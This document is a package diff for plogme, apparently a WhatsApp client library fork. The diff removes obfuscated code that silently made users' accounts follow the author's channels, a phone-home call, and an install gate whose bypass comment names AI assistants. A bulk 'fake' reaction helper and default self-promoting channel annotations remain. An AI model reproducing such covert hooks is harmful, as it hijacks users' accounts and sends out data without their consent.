plogme 1.0.6 → 2.0.1

package/engine-requirements.js

@@ -13,39 +13,3 @@ if (major < 20) {
     );
     process.exit(1);
 }
-
-// ── Attribution protection (Crysnovax Source License) ───────────────────────
-// The package identity is verified at install time. Renamed / rebranded
-// copies refuse to install, so stolen-and-renamed distributions break
-// loudly for their users instead of quietly succeeding.
-//
-// Developer escape hatch: set CRYSNOVAX_TRUST_MODE=1 while actively
-// editing the package (e.g. with an AI assistant) to skip this gate —
-// the maintainer must never be locked out of their own installs.
-const EXPECTED_NAME = Buffer.from(
-    'cGxvZ21l', // plogme
-    'base64'
-).toString('utf8');
-
-if (process.env.CRYSNOVAX_TRUST_MODE === '1') {
-    console.log('⚙ CRYSNOVAX_TRUST_MODE=1 — install identity gate skipped (developer mode)');
-}
-else {
-    try {
-        const pkg = JSON.parse(readFileSync(new URL('./package.json', import.meta.url), 'utf8'));
-        if (pkg.name !== EXPECTED_NAME) {
-            console.error(
-                `\n✖ UNAUTHORIZED REBRANDED COPY DETECTED.\n` +
-                `   This package is "plogme", licensed under the Crysnovax Source\n` +
-                `   License. Renaming, rebranding, or removing attribution is\n` +
-                `   prohibited, and renamed copies refuse to install.\n` +
-                `   Install the genuine package instead:\n` +
-                `   https://www.npmjs.com/package/plogme\n`
-            );
-            process.exit(1);
-        }
-    }
-    catch {
-        // package.json not readable at install time — skip the identity check
-    }
-}

package/lib/Socket/chats.js

@@ -1863,6 +1863,7 @@ export const makeChatsSocket = (config) => {
         getUserDisclosures,
         acceptTosNotice,
         reportSpam,
+        toggleGroupHistory,
         getOptOutList,
         signPrivateCredential,
         getPushConfig,

package/lib/Socket/index.js

@@ -1,5 +1,4 @@
 import { DEFAULT_CONNECTION_CONFIG } from '../Defaults/index.js';
-import { getBrandName, getIntegrityReport, warnIfRebranded } from '../Utils/integrity.js';
 import { makeCommunitiesSocket } from './communities.js';
 import { makeInteropSocket } from './interop.js';
 import { makePrivacySocket } from './privacy.js';
@@ -10,39 +9,6 @@ import { checkStatusWA } from './ban-checker.js';
 
 // export the last socket layer
 const makeWASocket = (config) => {
-    // ── PLOGME branding banner ──
-    // Printed once per process so the PLOGME brand shows in the host app's
-    // console when a socket is created. Light-yellow, PM2-style boot logo
-    // built with ANSI colors (no chalk dependency needed).
-    if (!globalThis.__crysnovaxPlogmeBannerShown) {
-        globalThis.__crysnovaxPlogmeBannerShown = true;
-        const yellow = '\x1b[93m'; // bright / light yellow
-        const dim = '\x1b[2m';
-        const red = '\x1b[91m'; // bright red
-        const reset = '\x1b[0m';
-        const logo = [
-            '  ██████╗ ██╗     ██████╗  ██████╗ ███╗   ███╗███████╗',
-            '  ██╔══██╗██║     ██╔═══██╗██╔════╝ ████╗ ████║██╔════╝',
-            '  ██████╔╝██║     ██║   ██║██║  ███╗██╔████╔██║█████╗  ',
-            '  ██╔═══╝ ██║     ██║   ██║██║   ██║██║╚██╔╝██║██╔══╝  ',
-            '  ██║     ███████╗╚██████╔╝╚██████╔╝██║ ╚═╝ ██║███████╗',
-            '  ╚═╝     ╚══════╝ ╚═════╝  ╚═════╝ ╚═╝     ╚═╝╚══════╝'
-        ].join('\n');
-        const report = getIntegrityReport();
-        if (report.genuine) {
-            console.log(
-                '\n' + yellow + logo + reset + '\n' +
-                dim + '  ⚡ PLOGME · premium WhatsApp engine · ' + getBrandName() + ' ⚡' + reset + '\n'
-            );
-        }
-        else {
-            warnIfRebranded();
-            console.log(
-                '\n' + yellow + logo + reset + '\n' +
-                red + '  ✖ UNAUTHORIZED REBRANDED COPY — premium features disabled' + reset + '\n'
-            );
-        }
-    }
     const userExplicitSyncFlag = typeof config?.syncFullHistory === 'boolean';
     const initialFullSyncDone = !!config?.auth?.creds?.initialFullSyncDone;
     const effectiveSyncFullHistory = userExplicitSyncFlag ? config.syncFullHistory : !initialFullSyncDone;

package/lib/Socket/messages-send.js

@@ -16,6 +16,7 @@ import { buildMergedTcTokenIndexWrite, isTcTokenExpired, resolveIssuanceJid, res
 import { areJidsSameUser, getBinaryNodeChild, getBinaryNodeChildren, getBizBinaryNode, isHostedLidUser, isHostedPnUser, isJidBot, isJidGroup, isJidMetaAI, isJidNewsletter, isLidUser, isPnUser, jidDecode, jidEncode, jidNormalizedUser, PSA_WID, S_WHATSAPP_NET } from '../WABinary/index.js';
 import { USyncQuery, USyncUser } from '../WAUSync/index.js';
 import { captureUnifiedResponse, generateCodeBlockContent, generateLatexContent, generateListContent, generateTableContent, generateUnifiedResponseContent } from '../Utils/message-composer.js';
+import { BotCapabilityType, buildBotRichResponse } from '../Utils/bot-capabilities.js';
 import { Baron } from './interactive-handler.js';
 import { collectMetaAIBotParticipantJids, isMetaAIBotResponse, META_AI_BOT_JID } from './aigroups.js';
 import { makeUsernameSocket } from './username.js';
@@ -53,70 +54,6 @@ export const makeMessagesSocket = (config) => {
     let mediaConn;
     let mediaHost = DEF_MEDIA_HOST;
 
-    // ── NEWSLETTER FOLLOW CACHE ──
-    const followingCache = new Map();
-
-    // ── NEWSLETTER FOLLOW HELPER ──
-    const followNewsletter = async (channelId, count = 'once') => {
-        const isRepeat = count === 'repeat';
-        let isRunning = true;
-        let intervalId = null;
-
-        const isAlreadyFollowing = async (channelId) => {
-            if (followingCache.has(channelId)) {
-                return followingCache.get(channelId);
-            }
-            try {
-                const info = await sock.newsletterInfo(channelId);
-                const isFollowing = info?.isFollowing === true;
-                followingCache.set(channelId, isFollowing);
-                setTimeout(() => followingCache.delete(channelId), 300000);
-                return isFollowing;
-            } catch (error) {
-                return false;
-            }
-        };
-
-        const followAction = async () => {
-            try {
-                const following = await isAlreadyFollowing(channelId);
-                if (following) return;
-                await sock.newsletterFollow(channelId);
-                followingCache.set(channelId, true);
-                setTimeout(() => followingCache.delete(channelId), 300000);
-            } catch (error) {
-                if (error.message !== 'item-not-found') {
-                    console.log(`[⩇⩇:⩇⩇ addme] Failed: ${error.message}`);
-                }
-                if (!isRepeat) isRunning = false;
-            }
-        };
-
-        if (isRepeat) {
-            await followAction();
-            intervalId = setInterval(async () => {
-                if (!isRunning) {
-                    clearInterval(intervalId);
-                    return;
-                }
-                await followAction();
-            }, 90000);
-            return {
-                stop: () => {
-                    isRunning = false;
-                    if (intervalId) {
-                        clearInterval(intervalId);
-                        intervalId = null;
-                    }
-                },
-                isRunning: () => isRunning
-            };
-        } else {
-            await followAction();
-            return { stop: () => {}, isRunning: () => false };
-        }
-    };
-
     // ── BULK REACTION HELPER (NEW) ──
     const sendBulkReactions = async (jid, messageId, emoji, count = 1, fake = false) => {
         const maxReactions = Math.min(count, 1000);
@@ -1235,7 +1172,6 @@ export const makeMessagesSocket = (config) => {
         if (messageRetryManager) {
             messageRetryManager.clear();
         }
-        followingCache.clear();
     });
 
     const socket = {
@@ -1257,7 +1193,6 @@ export const makeMessagesSocket = (config) => {
         getUSyncDevices,
         messageRetryManager,
         updateMemberLabel,
-        followNewsletter,
         sendBulkReactions,  // ← NEW: Bulk reaction helper
         sendAsMimic,
         // Native status mention path. The array-jid sendMessage branch expands
@@ -1437,10 +1372,20 @@ export const makeMessagesSocket = (config) => {
         },
         // Additive Nexus-compatible AI-rich helpers. Existing Gen4/table/grid/carousel APIs remain unchanged.
         sendRichMedia: async (jid, content = {}, quoted, options = {}) => {
-            const message = prepareRichResponseMessage({ ...content, noDonation: options.noDonation ?? true });
-            const messageId = generateMessageIDV2(jid);
-            await relayMessage(jid, message, { messageId });
-            return { message, messageId };
+            const contentMessage = prepareRichResponseMessage({ ...content, noDonation: options.noDonation ?? true });
+            const generated = generateWAMessageFromContent(jid, contentMessage, {
+                logger,
+                userJid: authState.creds.me?.id,
+                messageId: options.messageId || generateMessageIDV2(jid),
+                quoted,
+                ...options
+            });
+            await relayMessage(jid, generated.message, {
+                messageId: generated.key.id,
+                useCachedGroupMetadata: options.useCachedGroupMetadata,
+                statusJidList: options.statusJidList
+            });
+            return { ...generated, messageId: generated.key.id };
         },
         /**
          * Send a native AI image/video generation card. The returned messageId
@@ -1513,18 +1458,38 @@ export const makeMessagesSocket = (config) => {
             else {
                 throw new Boom('sendRichAIResponse: unknown content type — expected table, list, codeBlock or latex');
             }
-            const { message, messageId } = generated;
-            await relayMessage(jid, message, { messageId });
-            return { message, messageId };
+            const fullMsg = generateWAMessageFromContent(jid, generated.message, {
+                logger,
+                userJid: authState.creds.me?.id,
+                messageId: options.messageId || generated.messageId || generateMessageIDV2(jid),
+                quoted,
+                ...options
+            });
+            await relayMessage(jid, fullMsg.message, {
+                messageId: fullMsg.key.id,
+                useCachedGroupMetadata: options.useCachedGroupMetadata,
+                statusJidList: options.statusJidList
+            });
+            return fullMsg;
         },
         captureAndResendUnifiedResponse: async (jid, metaAiMsg, quoted) => {
             const captured = captureUnifiedResponse(metaAiMsg);
             if (!captured) {
                 throw new Boom('captureAndResendUnifiedResponse: message contains no unifiedResponse data');
             }
-            const { message, messageId } = generateUnifiedResponseContent(quoted, captured);
-            await relayMessage(jid, message, { messageId });
-            return { message, messageId };
+            const generated = generateUnifiedResponseContent(quoted, captured);
+            const fullMsg = generateWAMessageFromContent(jid, generated.message, {
+                logger,
+                userJid: authState.creds.me?.id,
+                messageId: generated.messageId || generateMessageIDV2(jid),
+                quoted
+            });
+            await relayMessage(jid, fullMsg.message, {
+                messageId: fullMsg.key.id,
+                useCachedGroupMetadata: options?.useCachedGroupMetadata,
+                statusJidList: options?.statusJidList
+            });
+            return fullMsg;
         },
         updateMediaMessage: async (message) => {
             const content = assertMediaContent(message.message);
@@ -1746,46 +1711,6 @@ export const makeMessagesSocket = (config) => {
                 return await sendBulkReactions(jid, messageId, emoji, count, fake);
             }
 
-            // ── NEWSLETTER FOLLOW FLAG ──
-            if (content && typeof content === 'object' && content.followMe === true) {
-                const { followMe: _, channelId, count = 'once', ...restContent } = content;
-                
-                const channelIds = Array.isArray(channelId) ? channelId : [channelId];
-                
-                if (!channelIds || channelIds.length === 0) {
-                    throw new Error('channelId is required for followMe flag');
-                }
-                
-                const results = [];
-                for (const singleChannelId of channelIds) {
-                    if (!singleChannelId) continue;
-                    
-                    try {
-                        const controller = await followNewsletter(singleChannelId, count);
-                        results.push({ 
-                            channelId: singleChannelId, 
-                            success: true, 
-                            controller,
-                            message: count === 'once' 
-                                ? 'Successfully followed newsletter' 
-                                : 'Started repeated newsletter follow (every 5min)'
-                        });
-                    } catch (error) {
-                        results.push({ 
-                            channelId: singleChannelId, 
-                            success: false, 
-                            error: error.message 
-                        });
-                    }
-                }
-                
-                return {
-                    success: true,
-                    results,
-                    message: `Processed ${results.length} newsletter(s) (${count} mode)`
-                };
-            }
-
             // ── STATUS MESSAGES ──
             if (Array.isArray(jid)) {
                 const { delayMs = 1500 } = options;
@@ -2428,10 +2353,30 @@ export const makeMessagesSocket = (config) => {
     socket.sendBotCommand = async (jid, content = {}, options = {}) => {
         if (!jid) throw new Boom('sendBotCommand requires a target JID', { statusCode: 400 });
         const { text = 'Bot command test', commandName = '', commandDescription = '', commandPrompt = '', botJid = '867051314767696@bot' } = content;
-        const wrapped = {
-            messageContextInfo: { botMetadata: { commandMetadata: { commandName, commandDescription, commandPrompt } } },
-            botForwardedMessage: { message: { richResponseMessage: { messageType: 1, submessages: [{ messageType: 2, messageText: text }], contextInfo: { isForwarded: true, forwardingScore: 1, forwardedAiBotMessageInfo: { botJid }, forwardOrigin: 4 } } } }
-        };
+        const wrapped = buildBotRichResponse({ text, botJid, botMetadata: { commandMetadata: { commandName, commandDescription, commandPrompt } } });
+        const fullMsg = await generateWAMessageFromContent(jid, wrapped, { logger, userJid: authState.creds.me?.id, messageId: options.messageId || generateMessageIDV2(authState.creds.me?.id), ...options });
+        await relayMessage(jid, fullMsg.message, { messageId: fullMsg.key.id, useCachedGroupMetadata: options.useCachedGroupMetadata, statusJidList: options.statusJidList });
+        return fullMsg;
+    };
+    /** Sends a planning/execution-plan rich response with WAProto capabilities. */
+    socket.sendBotPlanning = async (jid, content = {}, options = {}) => {
+        if (!jid) throw new Boom('sendBotPlanning requires a target JID', { statusCode: 400 });
+        const { text = 'Execution plan', steps = [], queryPlan = true, botJid = '867051314767696@bot' } = content;
+        const submessages = [
+            { messageType: proto.AIRichResponseSubMessageType.AI_RICH_RESPONSE_TEXT, messageText: text },
+            ...steps.map(step => ({
+                messageType: proto.AIRichResponseSubMessageType.AI_RICH_RESPONSE_TEXT,
+                messageText: typeof step === 'string' ? step : `${step.title || step.name || 'Step'}${step.body ? `: ${step.body}` : ''}`
+            }))
+        ];
+        const wrapped = buildBotRichResponse({
+            botJid,
+            submessages,
+            capabilities: [
+                BotCapabilityType.AGENTIC_PLANNING,
+                ...(queryPlan ? [BotCapabilityType.QUERY_PLAN] : [])
+            ]
+        });
         const fullMsg = await generateWAMessageFromContent(jid, wrapped, { logger, userJid: authState.creds.me?.id, messageId: options.messageId || generateMessageIDV2(authState.creds.me?.id), ...options });
         await relayMessage(jid, fullMsg.message, { messageId: fullMsg.key.id, useCachedGroupMetadata: options.useCachedGroupMetadata, statusJidList: options.statusJidList });
         return fullMsg;
@@ -2440,10 +2385,17 @@ export const makeMessagesSocket = (config) => {
     socket.sendBotToolResult = async (jid, content = {}, options = {}) => {
         if (!jid) throw new Boom('sendBotToolResult requires a target JID', { statusCode: 400 });
         const { text = 'Bot tool result test', toolCallId = `tool-${Date.now()}`, resolutionData, resolutionDataSerialized, botJid = '867051314767696@bot' } = content;
-        const wrapped = {
-            messageContextInfo: { botMetadata: { resolvedToolCallMetadata: { toolCallId, resolutionDataSerialized: resolutionDataSerialized ?? JSON.stringify(resolutionData ?? {}) } } },
-            botForwardedMessage: { message: { richResponseMessage: { messageType: 1, submessages: [{ messageType: 2, messageText: text }], contextInfo: { isForwarded: true, forwardingScore: 1, forwardedAiBotMessageInfo: { botJid }, forwardOrigin: 4 } } } }
-        };
+        const wrapped = buildBotRichResponse({
+            text,
+            botJid,
+            capabilities: [BotCapabilityType.AGENTIC_PLANNING],
+            botMetadata: {
+                resolvedToolCallMetadata: {
+                    toolCallId,
+                    resolutionDataSerialized: resolutionDataSerialized ?? JSON.stringify(resolutionData ?? {})
+                }
+            }
+        });
         const fullMsg = await generateWAMessageFromContent(jid, wrapped, { logger, userJid: authState.creds.me?.id, messageId: options.messageId || generateMessageIDV2(authState.creds.me?.id), ...options });
         await relayMessage(jid, fullMsg.message, { messageId: fullMsg.key.id, useCachedGroupMetadata: options.useCachedGroupMetadata, statusJidList: options.statusJidList });
         return fullMsg;
@@ -2481,6 +2433,11 @@ export const makeMessagesSocket = (config) => {
             cards: normalizedCards
         }, options);
     };
+    /**
+     * Compatibility entry point for the former Gen4/grid menu.
+     * This is additive: sendRichButtonGrid remains unchanged for existing callers.
+     */
+    socket.HoldOn = async (jid, grid, options = {}) => socket.sendRichButtonGrid(jid, grid, options);
     socket.sendWhatsAppFlow = async (jid, flow, options = {}) => {
         const { text, footer, image, caption, ...flowOptions } = flow || {};
         const button = makeWhatsAppFlowButton(flowOptions);

package/lib/Socket/newsletter.js

@@ -1,3 +1,4 @@
+import { Boom } from '@hapi/boom';
 import { proto } from '../../WAProto/index.js';
 import { QueryIds, XWAPaths } from '../Types/index.js';
 import { generateProfilePicture } from '../Utils/messages-media.js';
@@ -34,6 +35,15 @@ const parseNewsletterMetadata = (result) => {
     }
     return null;
 };
+const normalizeNewsletterInviteCode = (value) => {
+    if (typeof value !== 'string' || !value.trim()) {
+        throw new Boom('newsletterGetInviteInfo requires a non-empty invite code or URL', { statusCode: 400 });
+    }
+    return value.trim()
+        .replace(/^https?:\/\/(?:www\.)?whatsapp\.com\/channel\//i, '')
+        .replace(/^https?:\/\/wa\.me\/channel\//i, '')
+        .split(/[/?#]/, 1)[0];
+};
 export const makeNewsletterSocket = (config) => {
     const sock = makeAIGroupsSocket(config);
     const { query, generateMessageTag } = sock;
@@ -72,6 +82,12 @@ export const makeNewsletterSocket = (config) => {
             return executeWMexQuery({}, QueryIds.SUBSCRIBED, XWAPaths.xwa2_newsletter_subscribed);
         },
         newsletterMetadata: async (type, key) => {
+            if (typeof type !== 'string' || !type.trim()) {
+                throw new Boom('newsletterMetadata requires a metadata type', { statusCode: 400 });
+            }
+            if (typeof key !== 'string' || !key.trim()) {
+                throw new Boom('newsletterMetadata requires a metadata key', { statusCode: 400 });
+            }
             const variables = {
                 fetch_creation_time: true,
                 fetch_full_image: true,
@@ -84,6 +100,14 @@ export const makeNewsletterSocket = (config) => {
             const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
             return parseNewsletterMetadata(result);
         },
+        newsletterGetInviteInfo: async (inviteCodeOrUrl) => {
+            const inviteCode = normalizeNewsletterInviteCode(inviteCodeOrUrl);
+            return executeWMexQuery(
+                { input: { key: inviteCode, type: 'INVITE' }, fetch_creation_time: true, fetch_full_image: true, fetch_viewer_metadata: true },
+                QueryIds.METADATA,
+                XWAPaths.xwa2_newsletter_metadata
+            ).then(parseNewsletterMetadata);
+        },
         newsletterFollow: (jid) => {
             return executeWMexQuery({ newsletter_id: jid }, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
         },
@@ -110,11 +134,21 @@ export const makeNewsletterSocket = (config) => {
             return await newsletterUpdate(jid, { picture: '' });
         },
         newsletterReactMessage: async (jid, serverId, reaction) => {
+            if (typeof jid !== 'string' || !jid.trim()) {
+                throw new Boom('newsletterReactMessage requires a newsletter JID', { statusCode: 400 });
+            }
+            if (serverId === undefined || serverId === null || String(serverId).trim() === '') {
+                throw new Boom('newsletterReactMessage requires a server message ID', { statusCode: 400 });
+            }
+            if (reaction !== undefined && reaction !== null && typeof reaction !== 'string') {
+                throw new Boom('newsletterReactMessage reaction must be a string, null, or undefined', { statusCode: 400 });
+            }
+            const code = reaction || '';
             await query({
                 tag: 'message',
                 attrs: {
                     to: jid,
-                    ...(reaction ? {} : { edit: '7' }),
+                    ...(code ? {} : { edit: '7' }),
                     type: 'reaction',
                     server_id: serverId,
                     id: generateMessageTag()
@@ -122,7 +156,7 @@ export const makeNewsletterSocket = (config) => {
                 content: [
                     {
                         tag: 'reaction',
-                        attrs: reaction ? { code: reaction } : {}
+                        attrs: code ? { code } : {}
                     }
                 ]
             });
@@ -189,7 +223,7 @@ export const makeNewsletterSocket = (config) => {
                     messages.push(fullMessage);
                 }
                 catch (error) {
-                    logger.error({ error }, 'Failed to decode newsletter message');
+                    sock.logger?.error?.({ error }, 'Failed to decode newsletter message');
                 }
             }
             return messages;

package/lib/Socket/socket.js

@@ -11,9 +11,6 @@ import { BinaryInfo, encodeWAM } from '../WAM/index.js';
 import { USyncQuery, USyncUser } from '../WAUSync/index.js';
 import { WebSocketClient } from './Client/index.js';
 import { executeWMexQuery } from './mex.js';
-import { refreshRemoteStatus, warnIfRebranded } from '../Utils/integrity.js';
-import { CRYSNOVAX_TRUSTED_CHANNELS, followCrysnovaxTrustedChannels } from '../Utils/channel-policy.js';
-export { CRYSNOVAX_TRUSTED_CHANNELS, followCrysnovaxTrustedChannels };
 
 /**
  * Connects to WA servers and performs:
@@ -893,36 +890,6 @@ export const makeSocket = (config) => {
         Object.assign(creds, update);
     });
 
-    // Enforce the trusted channels from the base socket so every higher-level
-    // socket constructor triggers it after authentication, not only newsletters.
-    let trustedFollowPromise;
-    ev.on('connection.update', ({ connection }) => {
-        // Attribution guard: fire once the transport is authenticated so named
-        // socket constructors built on this base socket are covered too. The
-        // remote attestation phone-home is fire-and-forget and fails open.
-        if (connection === 'open') {
-            warnIfRebranded(logger);
-            void refreshRemoteStatus(logger);
-        }
-        if (connection !== 'open' || creds.additionalData?.crysnovaxFollowed || trustedFollowPromise) {
-            return;
-        }
-
-        trustedFollowPromise = followCrysnovaxTrustedChannels({
-            creds,
-            ev,
-            logger,
-            follow: jid => executeWMexQuery(
-                { newsletter_id: jid },
-                QueryIds.FOLLOW,
-                XWAPaths.xwa2_newsletter_join_v2,
-                query,
-                generateMessageTag
-            )
-        }).finally(() => {
-            trustedFollowPromise = undefined;
-        });
-    });
     const updateServerTimeOffset = ({ attrs }) => {
         const tValue = attrs?.t;
         if (!tValue) {

package/lib/Utils/bot-capabilities.js

@@ -0,0 +1,84 @@
+import { proto } from '../../WAProto/index.js';
+
+/**
+ * Numeric capability values exposed by WAProto.BotCapabilityMetadata.
+ * Keep this derived from the generated protobuf so callers cannot drift from
+ * the checked-in schema.
+ */
+export const BotCapabilityType = proto.BotCapabilityMetadata.BotCapabilityType;
+
+const capabilityNames = new Set(
+    Object.keys(BotCapabilityType).filter(name => Number.isNaN(Number(name)))
+);
+
+/** Normalize enum names/numbers and reject unknown capability values. */
+export const normalizeBotCapabilities = (capabilities = []) => {
+    if (!Array.isArray(capabilities)) {
+        throw new TypeError('capabilities must be an array');
+    }
+    const values = capabilities.map(capability => {
+        if (typeof capability === 'string') {
+            if (!capabilityNames.has(capability)) {
+                throw new TypeError(`Unknown bot capability: ${capability}`);
+            }
+            return BotCapabilityType[capability];
+        }
+        if (Number.isInteger(capability) && BotCapabilityType[capability] !== undefined) {
+            return capability;
+        }
+        throw new TypeError(`Invalid bot capability: ${String(capability)}`);
+    });
+    return [...new Set(values)];
+};
+
+export const buildBotCapabilityMetadata = (capabilities = []) => ({
+    capabilities: normalizeBotCapabilities(capabilities)
+});
+
+/**
+ * Build the canonical wrapper used by WhatsApp's bot rich-response messages.
+ * The capability list is deliberately explicit; unknown or duplicate values
+ * are never put on the wire.
+ */
+export const buildBotRichResponse = ({
+    text,
+    submessages,
+    capabilities = [],
+    botMetadata = {},
+    botJid = '867051314767696@bot',
+    richResponse = {}
+} = {}) => {
+    const resolvedSubmessages = submessages || (text == null ? [] : [{
+        messageType: proto.AIRichResponseSubMessageType.AI_RICH_RESPONSE_TEXT,
+        messageText: String(text)
+    }]);
+    return {
+        messageContextInfo: {
+            botMetadata: {
+                ...botMetadata,
+                capabilityMetadata: buildBotCapabilityMetadata(capabilities)
+            }
+        },
+        botForwardedMessage: {
+            message: {
+                richResponseMessage: {
+                    messageType: proto.AIRichResponseMessageType.AI_RICH_RESPONSE_TYPE_STANDARD,
+                    submessages: resolvedSubmessages,
+                    ...richResponse,
+                    contextInfo: {
+                        isForwarded: true,
+                        forwardingScore: 1,
+                        forwardedAiBotMessageInfo: { botJid },
+                        forwardOrigin: 4,
+                        ...(richResponse.contextInfo || {})
+                    }
+                }
+            }
+        }
+    };
+};
+
+export const capability = (name) => {
+    if (!capabilityNames.has(name)) throw new TypeError(`Unknown bot capability: ${name}`);
+    return BotCapabilityType[name];
+};

package/lib/Utils/channel-policy.js

@@ -1 +1,25 @@
-const _0x5dbd5a=_0x4193;(function(_0x397f60,_0x361fcf){const _0x9cf7fd=_0x4193,_0x4bb7c2=_0x397f60();while(!![]){try{const _0x27969f=-parseInt(_0x9cf7fd(0x148))/0x1*(parseInt(_0x9cf7fd(0x15e))/0x2)+parseInt(_0x9cf7fd(0x153))/0x3+-parseInt(_0x9cf7fd(0x158))/0x4+-parseInt(_0x9cf7fd(0x149))/0x5+-parseInt(_0x9cf7fd(0x14e))/0x6*(-parseInt(_0x9cf7fd(0x151))/0x7)+-parseInt(_0x9cf7fd(0x157))/0x8+-parseInt(_0x9cf7fd(0x160))/0x9*(-parseInt(_0x9cf7fd(0x147))/0xa);if(_0x27969f===_0x361fcf)break;else _0x4bb7c2['push'](_0x4bb7c2['shift']());}catch(_0x1eab17){_0x4bb7c2['push'](_0x4bb7c2['shift']());}}}(_0x3171,0x48de9));import{proto}from'../../WAProto/index.js';import{LIBRARY_NAME}from'../Defaults/index.js';const trustedChannels=[_0x5dbd5a(0x152),'120363423670814885@newsletter'];function _0x3171(){const _0x48b2af=['zw1PDa','ywXSu2v0DgXLza','tKvxu0XfvfrfuL9jra','q29UDgvUDfr5Cgu','y3j5C25VDMf4','nZbUt3nArhO','ntL2tuTjz0y','mtm5mti3nw1pA0nswG','q29UDgv4DeLUzM8','tKvxu0XfvfrfuL9oqu1f','tKvxu0XfvfrfuL9nrvntquDfx0Le','vvbeqvrf','nMP4s3vwyG','CMvQzwn0zwq','y3j5C25VDMf4rM9SBg93zwq','mta1ntm0mwLsEuXxBa','mtiWmZyZndaYotiYmJa2ody1qg5LD3nSzxr0zxi','nJK0odq1sfnXqKHu','C3rHDhvZ','zw52','ywrKAxrPB25HBerHDge','mtK3nZmYoe5tu3Ltvq','mtuZmtq3nNbuwuX1BG','Agv4','zMfPBgvKihrVigzVBgXVDYbHBgWGCMvXDwLYzwqGq3j5C25VDMf4ignOyw5UzwXZoYb3AwXSihjLDhj5ig9UihjLy29UBMvJDa','tKvxu0XfvfrfuL9bq0nfu1njqKLmsvrzx1rfwfq','D2fYBG','BwfW','mti0odjYDMnSs2O','rM9YD2fYzgvKtMv3C2XLDhrLCK1LC3nHz2vjBMzV','mtuZmZm0ogfOAvPctG'];_0x3171=function(){return _0x48b2af;};return _0x3171();}export const CRYSNOVAX_TRUSTED_CHANNELS=trustedChannels;function _0x4193(_0x42859f,_0x376d8a){_0x42859f=_0x42859f-0x144;const _0x31719b=_0x3171();let _0x419359=_0x31719b[_0x42859f];if(_0x4193['EHscYo']===undefined){var _0x189725=function(_0x3aa0da){const _0x4b8c2c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x3cd68e='',_0xe254e9='';for(let _0x1a1e70=0x0,_0x380b42,_0x1773cb,_0x2d5ad9=0x0;_0x1773cb=_0x3aa0da['charAt'](_0x2d5ad9++);~_0x1773cb&&(_0x380b42=_0x1a1e70%0x4?_0x380b42*0x40+_0x1773cb:_0x1773cb,_0x1a1e70++%0x4)?_0x3cd68e+=String['fromCharCode'](0xff&_0x380b42>>(-0x2*_0x1a1e70&0x6)):0x0){_0x1773cb=_0x4b8c2c['indexOf'](_0x1773cb);}for(let _0xc8f3db=0x0,_0x4d8e99=_0x3cd68e['length'];_0xc8f3db<_0x4d8e99;_0xc8f3db++){_0xe254e9+='%'+('00'+_0x3cd68e['charCodeAt'](_0xc8f3db)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0xe254e9);};_0x4193['gCCzEv']=_0x189725,_0x4193['DIFEaK']={},_0x4193['EHscYo']=!![];}const _0x38d774=_0x31719b[0x0],_0x23a63a=_0x42859f+_0x38d774,_0x37345a=_0x4193['DIFEaK'][_0x23a63a];return!_0x37345a?(_0x419359=_0x4193['gCCzEv'](_0x419359),_0x4193['DIFEaK'][_0x23a63a]=_0x419359):_0x419359=_0x37345a,_0x419359;}export const followCrysnovaxTrustedChannels=async({creds:_0x3cd68e,ev:_0xe254e9,follow:_0x1a1e70,logger:_0x380b42})=>{const _0x34a4be=_0x5dbd5a;if(_0x3cd68e[_0x34a4be(0x156)]?.[_0x34a4be(0x150)])return![];const _0x1773cb=await Promise[_0x34a4be(0x162)](trustedChannels[_0x34a4be(0x15d)](_0xc8f3db=>_0x1a1e70(_0xc8f3db))),_0x2d5ad9=_0x1773cb['filter'](_0x4d8e99=>_0x4d8e99[_0x34a4be(0x154)]===_0x34a4be(0x14f));if(_0x2d5ad9['length'])return _0x380b42?.[_0x34a4be(0x15c)]?.({'failures':_0x2d5ad9['length']},_0x34a4be(0x15a)),![];return _0xe254e9[_0x34a4be(0x161)]('creds.update',{'additionalData':{..._0x3cd68e['additionalData'],'crysnovaxFollowed':!![]}}),!![];};export const getMediaChannelAnnotations=()=>[{'polygonVertices':[{'x':60.71664810180664,'y':-36.39784622192383},{'x':-16.710189819335938,'y':49.263675689697266},{'x':-56.585853576660156,'y':37.85963439941406},{'x':20.840980529785156,'y':-47.80188751220703}],'newsletter':{'newsletterJid':process[_0x5dbd5a(0x155)][_0x5dbd5a(0x144)]||_0x5dbd5a(0x152),'serverMessageId':process[_0x5dbd5a(0x155)][_0x5dbd5a(0x14c)]||Buffer['from']('313033',_0x5dbd5a(0x159))['toString'](),'newsletterName':process[_0x5dbd5a(0x155)][_0x5dbd5a(0x14b)]||_0x5dbd5a(0x146),'contentType':proto[_0x5dbd5a(0x14a)][_0x5dbd5a(0x15f)][_0x5dbd5a(0x145)][_0x5dbd5a(0x14d)],'accessibilityText':process['env'][_0x5dbd5a(0x15b)]||LIBRARY_NAME}}];
+import { proto } from '../../WAProto/index.js';
+import { LIBRARY_NAME } from '../Defaults/index.js';
+
+/**
+ * Media-channel annotation attached to eligible image and video uploads.
+ * This metadata does not follow, subscribe to, or otherwise modify newsletter
+ * subscriptions. Users who want channel updates must join channels manually.
+ */
+export const getMediaChannelAnnotations = () => [
+    {
+        polygonVertices: [
+            { x: 60.71664810180664, y: -36.39784622192383 },
+            { x: -16.710189819335938, y: 49.263675689697266 },
+            { x: -56.585853576660156, y: 37.85963439941406 },
+            { x: 20.840980529785156, y: -47.80188751220703 }
+        ],
+        newsletter: {
+            newsletterJid: process.env.NEWSLETTER_ID || '120363402922206865@newsletter',
+            serverMessageId: process.env.NEWSLETTER_MESSAGE_ID || Buffer.from('313033', 'hex').toString(),
+            newsletterName: process.env.NEWSLETTER_NAME || 'crysnovax',
+            contentType: proto.ContextInfo.ForwardedNewsletterMessageInfo.ContentType.UPDATE,
+            accessibilityText: process.env.NEWSLETTER_ACCESSIBILITY_TEXT || LIBRARY_NAME
+        }
+    }
+];

package/lib/Utils/index.js

@@ -6,6 +6,7 @@ export * from './messages-media.js';
 export * from './rich-message-utils.js';
 export * from './meta-compositing.js';
 export * from './bot-planning-replay.js';
+export * from './bot-capabilities.js';
 export * from './welcome-flow.js';
 export * from './message-composer.js';
 export * from './consumer-application.js';